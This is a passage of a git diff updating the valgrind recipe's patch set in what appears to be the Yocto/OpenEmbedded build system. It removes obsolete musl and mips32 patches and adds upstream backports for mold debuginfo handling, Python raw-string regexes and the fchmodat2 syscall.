diff --git a/meta/recipes-devtools/valgrind/valgrind/0001-adjust-path-filter-for-2-memcheck-tests.patch b/meta/recipes-devtools/valgrind/valgrind/0001-adjust-path-filter-for-2-memcheck-tests.patch
deleted file mode 100644
index 4bc4bb086c..0000000000
--- a/meta/recipes-devtools/valgrind/valgrind/0001-adjust-path-filter-for-2-memcheck-tests.patch
+++ /dev/null
@@ -1,40 +0,0 @@
-From bf63e35c3036e6040c8cfecabc7160b1f36b0591 Mon Sep 17 00:00:00 2001
-From: Randy MacLeod <Randy.MacLeod@windriver.com>
-Date: Wed, 28 Aug 2019 12:31:15 -0400
-Subject: [PATCH] adjust path filter for 2 memcheck tests
-
-Test executables produced when cross-compiling can contain
-relative paths such as:
- coregrind/tests/../../../valgrind-3.15.0/coregrind/
-Use the --fullpath-after option to match and therefore
-suppress more of the prefix to enable test to pass.
-
-Upstream-Status: Inappropriate [embedded specific]
-
-Signed-off-by: Randy MacLeod <Randy.MacLeod@windriver.com>
----
- memcheck/tests/badfree3.vgtest | 2 +-
- memcheck/tests/varinfo5.vgtest | 2 +-
- 2 files changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/memcheck/tests/badfree3.vgtest b/memcheck/tests/badfree3.vgtest
-index 3dfc5fd8a..57eec21f3 100644
---- a/memcheck/tests/badfree3.vgtest
-+++ b/memcheck/tests/badfree3.vgtest
-@@ -1,3 +1,3 @@
- prog: badfree
--vgopts: -q --fullpath-after=memcheck/ --fullpath-after=coregrind/
-+vgopts: -q --fullpath-after=/valgrind-3.15.0/memcheck/ --fullpath-after=/valgrind-3.15.0/coregrind/
- stderr_filter_args: badfree.c
-diff --git a/memcheck/tests/varinfo5.vgtest b/memcheck/tests/varinfo5.vgtest
-index 063d00dce..6907bb2f6 100644
---- a/memcheck/tests/varinfo5.vgtest
-+++ b/memcheck/tests/varinfo5.vgtest
-@@ -1,3 +1,3 @@
- prog: varinfo5
--vgopts: --fullpath-after=memcheck/ --fullpath-after=coregrind/ --read-var-info=yes --read-inline-info=yes -q
-+vgopts: --fullpath-after=/valgrind-3.15.0/memcheck/ --fullpath-after=/valgrind-3.15.0/coregrind/ --read-var-info=yes --read-inline-info=yes -q
- stderr_filter: filter_varinfo3
---
-2.22.0
-
diff --git a/meta/recipes-devtools/valgrind/valgrind/0001-docs-Disable-manual-validation.patch b/meta/recipes-devtools/valgrind/valgrind/0001-docs-Disable-manual-validation.patch
new file mode 100644
index 0000000000..256ddb0c34
--- /dev/null
+++ b/meta/recipes-devtools/valgrind/valgrind/0001-docs-Disable-manual-validation.patch
@@ -0,0 +1,36 @@
+From 99fc6fe9b66becac3c94068129e84217330a71a6 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Thu, 13 Jan 2022 18:26:02 -0800
+Subject: [PATCH] docs: Disable manual validation
+
+validating manual and manpages, this task involves calling xmllint which
+accesses network and --nonet option also does not disable this,
+therefore disable it.
+
+Fixes
+| error : Resource temporarily unavailable
+| ../callgrind/docs/cl-manual.xml:4: warning: failed to load external entity "http://www.oasis-open.org/docbook/xml/4.5/docbookx.dtd"
+| <!ENTITY % vg-entities SYSTEM "../../docs/xml/vg-entities.xml"> %vg-entities; ]
+
+Upstream-Status: Inappropriate [OE-Specific]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ docs/Makefile.am | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/docs/Makefile.am b/docs/Makefile.am
+index d4250e8..c500306 100644
+--- a/docs/Makefile.am
++++ b/docs/Makefile.am
+@@ -192,7 +192,7 @@ valid-manpages: $(MANPAGES_XML_FILES)
+ touch $@; \
+ fi
+
+-check-local: valid-manual valid-manpages
++check-local:
+
+ # The text version of the FAQ.
+ FAQ.txt:
+--
+2.34.1
+
diff --git a/meta/recipes-devtools/valgrind/valgrind/0001-fix-opcode-not-supported-on-mips32-linux.patch b/meta/recipes-devtools/valgrind/valgrind/0001-fix-opcode-not-supported-on-mips32-linux.patch
deleted file mode 100644
index 39b624d9f6..0000000000
--- a/meta/recipes-devtools/valgrind/valgrind/0001-fix-opcode-not-supported-on-mips32-linux.patch
+++ /dev/null
@@ -1,82 +0,0 @@
-From fb5362f205b37c5060fcd764a7ed393abe4f2f3d Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Fri, 27 Jul 2018 17:39:37 +0800
-Subject: [PATCH 1/2] fix opcode not supported on mips32-linux
-
-While build tests(`make check') on mips32-linux, there are
-serial failures such as:
-[snip]
-| mips-wrsmllib32-linux-gcc -meb -mabi=32 -mhard-float -c
--o atomic_incs-atomic_incs.o `test -f 'atomic_incs.c' || echo
-'../../../valgrind-3.13.0/memcheck/tests/'`atomic_incs.c
-| /tmp/ccqrmINN.s: Assembler messages:
-| /tmp/ccqrmINN.s:247: Error: opcode not supported on this
-processor: mips1 (mips1) `ll $t3,0($t1)'
-| /tmp/ccqrmINN.s:249: Error: opcode not supported on this
-processor: mips1 (mips1) `sc $t3,0($t1)'
-[snip]
-
-Since the following commit applied, it defines CLFAGS for mips32,
-but missed to pass them to tests which caused the above failure
-...
-3e344c57f Merge in a port for mips32-linux
-...
-
-Upstream-Status: Submitted [https://bugs.kde.org/show_bug.cgi?id=396905]
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- helgrind/tests/Makefile.am | 5 +++++
- memcheck/tests/Makefile.am | 5 +++++
- none/tests/mips32/Makefile.am | 4 ++++
- 3 files changed, 14 insertions(+)
-
-diff --git a/helgrind/tests/Makefile.am b/helgrind/tests/Makefile.am
-index ad1af191a..6209d35a7 100644
---- a/helgrind/tests/Makefile.am
-+++ b/helgrind/tests/Makefile.am
-@@ -214,6 +214,11 @@ check_PROGRAMS += annotate_rwlock
- endif
-
- AM_CFLAGS += $(AM_FLAG_M3264_PRI)
-+
-+if VGCONF_PLATFORMS_INCLUDE_MIPS32_LINUX
-+AM_CFLAGS += $(AM_CFLAGS_MIPS32_LINUX)
-+endif
-+
- AM_CXXFLAGS += $(AM_FLAG_M3264_PRI)
-
- LDADD = -lpthread
-diff --git a/memcheck/tests/Makefile.am b/memcheck/tests/Makefile.am
-index 84e49405f..aff861a32 100644
---- a/memcheck/tests/Makefile.am
-+++ b/memcheck/tests/Makefile.am
-@@ -443,6 +443,11 @@ check_PROGRAMS += reach_thread_register
- endif
-
- AM_CFLAGS += $(AM_FLAG_M3264_PRI)
-+
-+if VGCONF_PLATFORMS_INCLUDE_MIPS32_LINUX
-+AM_CFLAGS += $(AM_CFLAGS_MIPS32_LINUX)
-+endif
-+
- AM_CXXFLAGS += $(AM_FLAG_M3264_PRI)
-
- if VGCONF_PLATFORMS_INCLUDE_ARM_LINUX
-diff --git a/none/tests/mips32/Makefile.am b/none/tests/mips32/Makefile.am
-index d11591d45..602cd26f6 100644
---- a/none/tests/mips32/Makefile.am
-+++ b/none/tests/mips32/Makefile.am
-@@ -99,6 +99,10 @@ check_PROGRAMS = \
- round_fpu64 \
- fpu_branches
-
-+if VGCONF_PLATFORMS_INCLUDE_MIPS32_LINUX
-+AM_CFLAGS += $(AM_CFLAGS_MIPS32_LINUX)
-+endif
-+
- AM_CFLAGS += @FLAG_M32@
- AM_CXXFLAGS += @FLAG_M32@
- AM_CCASFLAGS += @FLAG_M32@
---
-2.17.1
-
diff --git a/meta/recipes-devtools/valgrind/valgrind/0001-makefiles-Drop-setting-mcpu-to-cortex-a8-on-arm-arch.patch b/meta/recipes-devtools/valgrind/valgrind/0001-makefiles-Drop-setting-mcpu-to-cortex-a8-on-arm-arch.patch
index 9f1da7bac6..073713c139 100644
--- a/meta/recipes-devtools/valgrind/valgrind/0001-makefiles-Drop-setting-mcpu-to-cortex-a8-on-arm-arch.patch
+++ b/meta/recipes-devtools/valgrind/valgrind/0001-makefiles-Drop-setting-mcpu-to-cortex-a8-on-arm-arch.patch
@@ -10,7 +10,7 @@ implementation.
Fixes
| cc1: warning: switch -mcpu=cortex-a8 conflicts with -march=armv7ve switch
-Upstream-Status: Pending
+Upstream-Status: Submitted [https://bugs.kde.org/show_bug.cgi?id=454346]
Signed-off-by: Khem Raj <raj.khem@gmail.com>
---
diff --git a/meta/recipes-devtools/valgrind/valgrind/0001-memcheck-arm64-Define-__THROW-if-not-already-defined.patch b/meta/recipes-devtools/valgrind/valgrind/0001-memcheck-arm64-Define-__THROW-if-not-already-defined.patch
deleted file mode 100644
index a48d7db070..0000000000
--- a/meta/recipes-devtools/valgrind/valgrind/0001-memcheck-arm64-Define-__THROW-if-not-already-defined.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From 3409dc35c15bb14c8a525239806322648e079ab1 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 5 Jul 2017 17:12:43 -0700
-Subject: [PATCH 1/3] memcheck/arm64: Define __THROW if not already defined
-
-Helps compiling with musl where __THROW is not available
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
-Upstream-Status: Submitted
-
- memcheck/tests/arm64-linux/scalar.h | 4 ++++
- 1 file changed, 4 insertions(+)
-
-diff --git a/memcheck/tests/arm64-linux/scalar.h b/memcheck/tests/arm64-linux/scalar.h
-index 9008816..8ef050f 100644
---- a/memcheck/tests/arm64-linux/scalar.h
-+++ b/memcheck/tests/arm64-linux/scalar.h
-@@ -12,6 +12,10 @@
- #include <sys/types.h>
- #include <sys/mman.h>
-
-+#ifndef __THROW
-+#define __THROW
-+#endif
-+
- // Since we use vki_unistd.h, we can't include <unistd.h>. So we have to
- // declare this ourselves.
- extern long int syscall (long int __sysno, ...) __THROW;
---
-2.13.2
-
diff --git a/meta/recipes-devtools/valgrind/valgrind/0001-memcheck-vgtests-remove-fullpath-after-flags.patch b/meta/recipes-devtools/valgrind/valgrind/0001-memcheck-vgtests-remove-fullpath-after-flags.patch
new file mode 100644
index 0000000000..dce8b52ba3
--- /dev/null
+++ b/meta/recipes-devtools/valgrind/valgrind/0001-memcheck-vgtests-remove-fullpath-after-flags.patch
@@ -0,0 +1,42 @@
+From 3ff82dcb844f98dbf67c69f11f6516bc234725a9 Mon Sep 17 00:00:00 2001
+From: Stacy Gaikovaia <Stacy.Gaikovaia@windriver.com>
+Date: Wed, 16 Sep 2020 13:45:07 -0400
+Subject: [PATCH] memcheck vgtests remove fullpath-after flags
+
+Test executables produced when cross-compiling can contain
+relative paths containing version number, such as:
+ coregrind/tests/../../../valgrind-3.16.1/coregrind
+
+Remove the --fullpath-after option so yocto project doesn't
+have to upgrade patch every valgrind uprev. Upgrade test stderr
+paths in corresponding tests .bb script.
+
+Upstream-Status: Inappropriate [embedded specific]
+
+Signed-off-by: Stacy Gaikovaia <Stacy.Gaikovaia@windriver.com>
+---
+ memcheck/tests/badfree3.vgtest | 2 +-
+ memcheck/tests/varinfo5.vgtest | 2 +-
+ 2 files changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/memcheck/tests/badfree3.vgtest b/memcheck/tests/badfree3.vgtest
+index 3dfc5fd8a..4ee03f00a 100644
+--- a/memcheck/tests/badfree3.vgtest
++++ b/memcheck/tests/badfree3.vgtest
+@@ -1,3 +1,3 @@
+ prog: badfree
+-vgopts: -q --fullpath-after=memcheck/ --fullpath-after=coregrind/
++vgopts: -q
+ stderr_filter_args: badfree.c
+diff --git a/memcheck/tests/varinfo5.vgtest b/memcheck/tests/varinfo5.vgtest
+index 063d00dce..79c4a72a4 100644
+--- a/memcheck/tests/varinfo5.vgtest
++++ b/memcheck/tests/varinfo5.vgtest
+@@ -1,3 +1,3 @@
+ prog: varinfo5
+-vgopts: --fullpath-after=memcheck/ --fullpath-after=coregrind/ --read-var-info=yes --read-inline-info=yes -q
++vgopts: --read-var-info=yes --read-inline-info=yes -q
+ stderr_filter: filter_varinfo3
+--
+2.25.1
+
diff --git a/meta/recipes-devtools/valgrind/valgrind/0001-none-tests-fdleak_cmsg.stderr.exp-adjust-tmp-paths.patch b/meta/recipes-devtools/valgrind/valgrind/0001-none-tests-fdleak_cmsg.stderr.exp-adjust-tmp-paths.patch
index d641998d72..e421ac6c80 100644
--- a/meta/recipes-devtools/valgrind/valgrind/0001-none-tests-fdleak_cmsg.stderr.exp-adjust-tmp-paths.patch
+++ b/meta/recipes-devtools/valgrind/valgrind/0001-none-tests-fdleak_cmsg.stderr.exp-adjust-tmp-paths.patch
@@ -19,7 +19,7 @@ index 6e5a797b9..0ede1ab18 100644
@@ -25,10 +25,10 @@ Open file descriptor ...: /dev/null
- FILE DESCRIPTORS: 6 open at exit.
+ FILE DESCRIPTORS: 6 open (3 std) at exit.
-Open file descriptor ...: /tmp/data2
+Open file descriptor ...: ...
...
diff --git a/meta/recipes-devtools/valgrind/valgrind/0001-str_tester.c-Limit-rawmemchr-test-to-glibc.patch b/meta/recipes-devtools/valgrind/valgrind/0001-str_tester.c-Limit-rawmemchr-test-to-glibc.patch
deleted file mode 100644
index 185b8f9e60..0000000000
--- a/meta/recipes-devtools/valgrind/valgrind/0001-str_tester.c-Limit-rawmemchr-test-to-glibc.patch
+++ /dev/null
@@ -1,39 +0,0 @@
-From de692e359801a1f0488c76267e4f904dd2efe754 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Sat, 10 Jun 2017 00:39:07 -0700
-Subject: [PATCH] str_tester.c: Limit rawmemchr() test to glibc
-
-rawmemchr() is a GNU extention therefore mark it so
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
-Upstream-Status: Pending
-
- memcheck/tests/str_tester.c | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/memcheck/tests/str_tester.c b/memcheck/tests/str_tester.c
-index 9f7790a..47e4b4a 100644
---- a/memcheck/tests/str_tester.c
-+++ b/memcheck/tests/str_tester.c
-@@ -504,7 +504,7 @@ test_strchrnul (void)
- #endif
-
- // DDD: better done by testing for the function.
--#if !defined(__APPLE__) && !defined(__sun)
-+#if !defined(__APPLE__) && !defined(__sun) && defined(__GLIBC__)
- static void
- test_rawmemchr (void)
- {
-@@ -1442,7 +1442,7 @@ main (void)
- test_strchrnul ();
- # endif
-
--# if !defined(__APPLE__) && !defined(__sun)
-+# if !defined(__APPLE__) && !defined(__sun) && defined(__GLIBC__)
- /* rawmemchr. */
- test_rawmemchr ();
- # endif
---
-2.13.1
-
diff --git a/meta/recipes-devtools/valgrind/valgrind/0001-valgrind-monitor.py-regular-expressions-should-use-r.patch b/meta/recipes-devtools/valgrind/valgrind/0001-valgrind-monitor.py-regular-expressions-should-use-r.patch
new file mode 100644
index 0000000000..80a8e3a10b
--- /dev/null
+++ b/meta/recipes-devtools/valgrind/valgrind/0001-valgrind-monitor.py-regular-expressions-should-use-r.patch
@@ -0,0 +1,64 @@
+From 027b649fdb831868e71be01cafdacc49a5f419ab Mon Sep 17 00:00:00 2001
+From: Mark Wielaard <mark@klomp.org>
+Date: Fri, 17 Nov 2023 14:01:21 +0100
+Subject: [PATCH 1/4] valgrind-monitor.py regular expressions should use raw
+ strings
+
+With python 3.12 gdb will produce the following SyntaxWarning when
+loading valgrind-monitor-def.py:
+
+ /usr/share/gdb/auto-load/valgrind-monitor-def.py:214:
+ SyntaxWarning: invalid escape sequence '\['
+ if re.fullmatch("^0x[0123456789ABCDEFabcdef]+\[[^\[\]]+\]$", arg_str):
+
+In a future python version this will become an SyntaxError.
+
+Use a raw strings for the regular expression.
+
+https://bugs.kde.org/show_bug.cgi?id=476708
+(cherry picked from commit 0fbfbe05028ad18efda786a256a2738d2c231ed4)
+
+Upstream-Status: Backport [https://sourceware.org/git/?p=valgrind.git;a=commit;h=027b649fdb831868e71be01cafdacc49a5f419ab]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ NEWS | 13 +++++++++++++
+ coregrind/m_gdbserver/valgrind-monitor-def.py | 2 +-
+ 2 files changed, 14 insertions(+), 1 deletion(-)
+
+diff --git a/NEWS b/NEWS
+index f11da4be8..ee5b4ff11 100644
+--- a/NEWS
++++ b/NEWS
+@@ -1,3 +1,16 @@
++Branch 3.22
++~~~~~~~~~~~
++
++* ==================== FIXED BUGS ====================
++
++The following bugs have been fixed or resolved on this branch.
++
++476708 valgrind-monitor.py regular expressions should use raw strings
++
++To see details of a given bug, visit
++ https://bugs.kde.org/show_bug.cgi?id=XXXXXX
++where XXXXXX is the bug number as listed above.
++
+ Release 3.22.0 (31 Oct 2023)
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+diff --git a/coregrind/m_gdbserver/valgrind-monitor-def.py b/coregrind/m_gdbserver/valgrind-monitor-def.py
+index b4e7b992d..d74b1590c 100644
+--- a/coregrind/m_gdbserver/valgrind-monitor-def.py
++++ b/coregrind/m_gdbserver/valgrind-monitor-def.py
+@@ -211,7 +211,7 @@ class Valgrind_ADDR_LEN_opt(Valgrind_Command):
+ For compatibility reason with the Valgrind gdbserver monitor command,
+ we detect and accept usages such as 0x1234ABCD[10]."""
+ def invoke(self, arg_str : str, from_tty : bool) -> None:
+- if re.fullmatch("^0x[0123456789ABCDEFabcdef]+\[[^\[\]]+\]$", arg_str):
++ if re.fullmatch(r"^0x[0123456789ABCDEFabcdef]+\[[^\[\]]+\]$", arg_str):
+ arg_str = arg_str.replace("[", " ")
+ arg_str = arg_str.replace("]", " ")
+ eval_execute_2(self, arg_str,
+--
+2.44.0
+
diff --git a/meta/recipes-devtools/valgrind/valgrind/0002-Bug-476548-valgrind-3.22.0-fails-on-assertion-when-l.patch b/meta/recipes-devtools/valgrind/valgrind/0002-Bug-476548-valgrind-3.22.0-fails-on-assertion-when-l.patch
new file mode 100644
index 0000000000..5759fa039a
--- /dev/null
+++ b/meta/recipes-devtools/valgrind/valgrind/0002-Bug-476548-valgrind-3.22.0-fails-on-assertion-when-l.patch
@@ -0,0 +1,147 @@
+From 1d00e5ce0fb069911c4b525ec38289fb5d9021b0 Mon Sep 17 00:00:00 2001
+From: Paul Floyd <pjfloyd@wanadoo.fr>
+Date: Sat, 18 Nov 2023 08:49:34 +0100
+Subject: [PATCH 2/4] Bug 476548 - valgrind 3.22.0 fails on assertion when
+ loading debuginfo file produced by mold
+
+(cherry picked from commit 9ea4ae66707a4dcc6f4328e11911652e4418c585)
+
+Upstream-Status: Backport [https://sourceware.org/git/?p=valgrind.git;a=commit;h=1d00e5ce0fb069911c4b525ec38289fb5d9021b0]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ NEWS | 2 ++
+ coregrind/m_debuginfo/image.c | 14 +++++++++
+ coregrind/m_debuginfo/priv_image.h | 4 +++
+ coregrind/m_debuginfo/readelf.c | 49 ++++++++++++++++++++++++++++--
+ 4 files changed, 66 insertions(+), 3 deletions(-)
+
+diff --git a/NEWS b/NEWS
+index ee5b4ff11..6cd13429a 100644
+--- a/NEWS
++++ b/NEWS
+@@ -5,6 +5,8 @@ Branch 3.22
+
+ The following bugs have been fixed or resolved on this branch.
+
++476548 valgrind 3.22.0 fails on assertion when loading debuginfo
++ file produced by mold
+ 476708 valgrind-monitor.py regular expressions should use raw strings
+
+ To see details of a given bug, visit
+diff --git a/coregrind/m_debuginfo/image.c b/coregrind/m_debuginfo/image.c
+index 02e509071..445f95555 100644
+--- a/coregrind/m_debuginfo/image.c
++++ b/coregrind/m_debuginfo/image.c
+@@ -1221,6 +1221,20 @@ Int ML_(img_strcmp_c)(DiImage* img, DiOffT off1, const HChar* str2)
+ }
+ }
+
++Int ML_(img_strcmp_n)(DiImage* img, DiOffT off1, const HChar* str2, Word n)
++{
++ ensure_valid(img, off1, 1, "ML_(img_strcmp_c)");
++ while (n) {
++ UChar c1 = get(img, off1);
++ UChar c2 = *(const UChar*)str2;
++ if (c1 < c2) return -1;
++ if (c1 > c2) return 1;
++ if (c1 == 0) return 0;
++ off1++; str2++; --n;
++ }
++ return 0;
++}
++
+ UChar ML_(img_get_UChar)(DiImage* img, DiOffT offset)
+ {
+ ensure_valid(img, offset, 1, "ML_(img_get_UChar)");
+diff --git a/coregrind/m_debuginfo/priv_image.h b/coregrind/m_debuginfo/priv_image.h
+index a49846f14..c91e49f01 100644
+--- a/coregrind/m_debuginfo/priv_image.h
++++ b/coregrind/m_debuginfo/priv_image.h
+@@ -115,6 +115,10 @@ Int ML_(img_strcmp)(DiImage* img, DiOffT off1, DiOffT off2);
+ cast to HChar before comparison. */
+ Int ML_(img_strcmp_c)(DiImage* img, DiOffT off1, const HChar* str2);
+
++/* Do strncmp of a C string in the image vs a normal one. Chars are
++ cast to HChar before comparison. */
++Int ML_(img_strcmp_n)(DiImage* img, DiOffT off1, const HChar* str2, Word n);
++
+ /* Do strlen of a C string in the image. */
+ SizeT ML_(img_strlen)(DiImage* img, DiOffT off);
+
+diff --git a/coregrind/m_debuginfo/readelf.c b/coregrind/m_debuginfo/readelf.c
+index fb64ed976..46f8c8343 100644
+--- a/coregrind/m_debuginfo/readelf.c
++++ b/coregrind/m_debuginfo/readelf.c
+@@ -2501,8 +2501,7 @@ Bool ML_(read_elf_object) ( struct _DebugInfo* di )
+ di->rodata_avma += inrw1->bias;
+ di->rodata_bias = inrw1->bias;
+ di->rodata_debug_bias = inrw1->bias;
+- }
+- else {
++ } else {
+ BAD(".rodata"); /* should not happen? */
+ }
+ di->rodata_present = True;
+@@ -2977,6 +2976,46 @@ Bool ML_(read_elf_object) ( struct _DebugInfo* di )
+ return retval;
+ }
+
++static void find_rodata(Word i, Word shnum, DiImage* dimg, struct _DebugInfo* di, DiOffT shdr_dioff,
++ UWord shdr_dent_szB, DiOffT shdr_strtab_dioff, PtrdiffT rw_dbias)
++{
++ ElfXX_Shdr a_shdr;
++ ElfXX_Shdr a_extra_shdr;
++ ML_(img_get)(&a_shdr, dimg,
++ INDEX_BIS(shdr_dioff, i, shdr_dent_szB),
++ sizeof(a_shdr));
++ if (di->rodata_present &&
++ 0 == ML_(img_strcmp_c)(dimg, shdr_strtab_dioff
++ + a_shdr.sh_name, ".rodata")) {
++ Word sh_size = a_shdr.sh_size;
++ Word j;
++ Word next_addr = a_shdr.sh_addr + a_shdr.sh_size;
++ for (j = i + 1; j < shnum; ++j) {
++ ML_(img_get)(&a_extra_shdr, dimg,
++ INDEX_BIS(shdr_dioff, j, shdr_dent_szB),
++ sizeof(a_shdr));
++ if (0 == ML_(img_strcmp_n)(dimg, shdr_strtab_dioff
++ + a_extra_shdr.sh_name, ".rodata", 7)) {
++ if (a_extra_shdr.sh_addr ==
++ VG_ROUNDUP(next_addr, a_extra_shdr.sh_addralign)) {
++ sh_size = VG_ROUNDUP(sh_size, a_extra_shdr.sh_addralign) + a_extra_shdr.sh_size;
++ }
++ next_addr = a_extra_shdr.sh_addr + a_extra_shdr.sh_size;
++ } else {
++ break;
++ }
++ }
++ vg_assert(di->rodata_size == sh_size);
++ vg_assert(di->rodata_avma + a_shdr.sh_addr + rw_dbias);
++ di->rodata_debug_svma = a_shdr.sh_addr;
++ di->rodata_debug_bias = di->rodata_bias +
++ di->rodata_svma - di->rodata_debug_svma;
++ TRACE_SYMTAB("acquiring .rodata debug svma = %#lx .. %#lx\n",
++ di->rodata_debug_svma,
++ di->rodata_debug_svma + di->rodata_size - 1);
++ TRACE_SYMTAB("acquiring .rodata debug bias = %#lx\n", (UWord)di->rodata_debug_bias);
++ }
++}
+ Bool ML_(read_elf_debug) ( struct _DebugInfo* di )
+ {
+ Word i, j;
+@@ -3391,7 +3430,11 @@ Bool ML_(read_elf_debug) ( struct _DebugInfo* di )
+ FIND(text, rx)
+ FIND(data, rw)
+ FIND(sdata, rw)
+- FIND(rodata, rw)
++ // https://bugs.kde.org/show_bug.cgi?id=476548
++ // special handling for rodata as adjacent
++ // rodata sections may have been merged in ML_(read_elf_object)
++ //FIND(rodata, rw)
++ find_rodata(i, ehdr_dimg.e_shnum, dimg, di, shdr_dioff, shdr_dent_szB, shdr_strtab_dioff, rw_dbias);
+ FIND(bss, rw)
+ FIND(sbss, rw)
+
+--
+2.44.0
+
diff --git a/meta/recipes-devtools/valgrind/valgrind/0002-context-APIs-are-not-available-on-musl.patch b/meta/recipes-devtools/valgrind/valgrind/0002-context-APIs-are-not-available-on-musl.patch
deleted file mode 100644
index 480fe33247..0000000000
--- a/meta/recipes-devtools/valgrind/valgrind/0002-context-APIs-are-not-available-on-musl.patch
+++ /dev/null
@@ -1,52 +0,0 @@
-From bd4e926e7e14747b3cd4d7b2a1bd5410b22f3ea2 Mon Sep 17 00:00:00 2001
-From: Randy MacLeod <Randy.MacLeod@windriver.com>
-Date: Tue, 16 Oct 2018 21:27:46 -0400
-Subject: [PATCH] context APIs are not available on musl
-
-Upstream-Status: Pending
-
-Updated patch for valgrind-3.14
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Signed-off-by: Randy MacLeod <Randy.MacLeod@windriver.com>
----
- memcheck/tests/linux/stack_changes.c | 7 ++++++-
- 1 file changed, 6 insertions(+), 1 deletion(-)
-
-diff --git a/memcheck/tests/linux/stack_changes.c b/memcheck/tests/linux/stack_changes.c
-index 7f97b90a5..a26cb4ae6 100644
---- a/memcheck/tests/linux/stack_changes.c
-+++ b/memcheck/tests/linux/stack_changes.c
-@@ -10,6 +10,7 @@
- // This test is checking the libc context calls (setcontext, etc.) and
- // checks that Valgrind notices their stack changes properly.
-
-+#ifdef __GLIBC__
- typedef ucontext_t mycontext;
-
- mycontext ctx1, ctx2, oldc;
-@@ -51,9 +52,11 @@ int init_context(mycontext *uc)
-
- return ret;
- }
-+#endif
-
- int main(int argc, char **argv)
- {
-+#ifdef __GLIBC__
- int c1 = init_context(&ctx1);
- int c2 = init_context(&ctx2);
-
-@@ -66,6 +69,8 @@ int main(int argc, char **argv)
- //free(ctx1.uc_stack.ss_sp);
- VALGRIND_STACK_DEREGISTER(c2);
- //free(ctx2.uc_stack.ss_sp);
--
-+#else
-+ printf("libc context call APIs e.g. getcontext() are deprecated by posix\n");
-+#endif
- return 0;
- }
---
-2.17.0
-
diff --git a/meta/recipes-devtools/valgrind/valgrind/0002-memcheck-x86-Define-__THROW-if-not-defined.patch b/meta/recipes-devtools/valgrind/valgrind/0002-memcheck-x86-Define-__THROW-if-not-defined.patch
deleted file mode 100644
index 5433472291..0000000000
--- a/meta/recipes-devtools/valgrind/valgrind/0002-memcheck-x86-Define-__THROW-if-not-defined.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From 67d199dbdcbb3feff5f8928f87725fc64c0307d7 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 5 Jul 2017 17:36:42 -0700
-Subject: [PATCH 2/3] memcheck/x86: Define __THROW if not defined
-
-musl does not have __THROW, therefore make it null
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
-Upstream-Status: Submitted
-
- memcheck/tests/x86-linux/scalar.h | 4 ++++
- 1 file changed, 4 insertions(+)
-
-diff --git a/memcheck/tests/x86-linux/scalar.h b/memcheck/tests/x86-linux/scalar.h
-index ef28b03..52f742e 100644
---- a/memcheck/tests/x86-linux/scalar.h
-+++ b/memcheck/tests/x86-linux/scalar.h
-@@ -11,6 +11,10 @@
- #include <sys/types.h>
- #include <sys/mman.h>
-
-+#ifndef __THROW
-+#define __THROW
-+#endif
-+
- // Since we use vki_unistd.h, we can't include <unistd.h>. So we have to
- // declare this ourselves.
- extern long int syscall (long int __sysno, ...) __THROW;
---
-2.13.2
-
diff --git a/meta/recipes-devtools/valgrind/valgrind/0003-Add-fchmodat2-syscall-on-linux.patch b/meta/recipes-devtools/valgrind/valgrind/0003-Add-fchmodat2-syscall-on-linux.patch
new file mode 100644
index 0000000000..2a09ca52b7
--- /dev/null
+++ b/meta/recipes-devtools/valgrind/valgrind/0003-Add-fchmodat2-syscall-on-linux.patch
@@ -0,0 +1,221 @@
+From a43e62dddcf51ec6578a90c5988a41e856b44b05 Mon Sep 17 00:00:00 2001
+From: Mark Wielaard <mark@klomp.org>
+Date: Sat, 18 Nov 2023 21:17:02 +0100
+Subject: [PATCH 3/4] Add fchmodat2 syscall on linux
+
+fchmodat2 is a new syscall on linux 6.6. It is a variant of fchmodat
+that takes an extra flags argument.
+
+https://bugs.kde.org/show_bug.cgi?id=477198
+
+(cherry picked from commit 372d09fd9a8d76847c81092ebff71c80fd6c145d)
+
+Upstream-Status: Backport [https://sourceware.org/git/?p=valgrind.git;a=commit;h=a43e62dddcf51ec6578a90c5988a41e856b44b05]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ NEWS | 1 +
+ coregrind/m_syswrap/priv_syswrap-linux.h | 3 +++
+ coregrind/m_syswrap/syswrap-amd64-linux.c | 2 ++
+ coregrind/m_syswrap/syswrap-arm-linux.c | 2 ++
+ coregrind/m_syswrap/syswrap-arm64-linux.c | 2 ++
+ coregrind/m_syswrap/syswrap-linux.c | 11 +++++++++++
+ coregrind/m_syswrap/syswrap-mips32-linux.c | 2 ++
+ coregrind/m_syswrap/syswrap-mips64-linux.c | 1 +
+ coregrind/m_syswrap/syswrap-nanomips-linux.c | 1 +
+ coregrind/m_syswrap/syswrap-ppc32-linux.c | 2 ++
+ coregrind/m_syswrap/syswrap-ppc64-linux.c | 2 ++
+ coregrind/m_syswrap/syswrap-s390x-linux.c | 2 ++
+ coregrind/m_syswrap/syswrap-x86-linux.c | 2 ++
+ include/vki/vki-scnums-shared-linux.h | 2 ++
+ 14 files changed, 35 insertions(+)
+
+diff --git a/NEWS b/NEWS
+index 6cd13429a..da0f8c1aa 100644
+--- a/NEWS
++++ b/NEWS
+@@ -8,6 +8,7 @@ The following bugs have been fixed or resolved on this branch.
+ 476548 valgrind 3.22.0 fails on assertion when loading debuginfo
+ file produced by mold
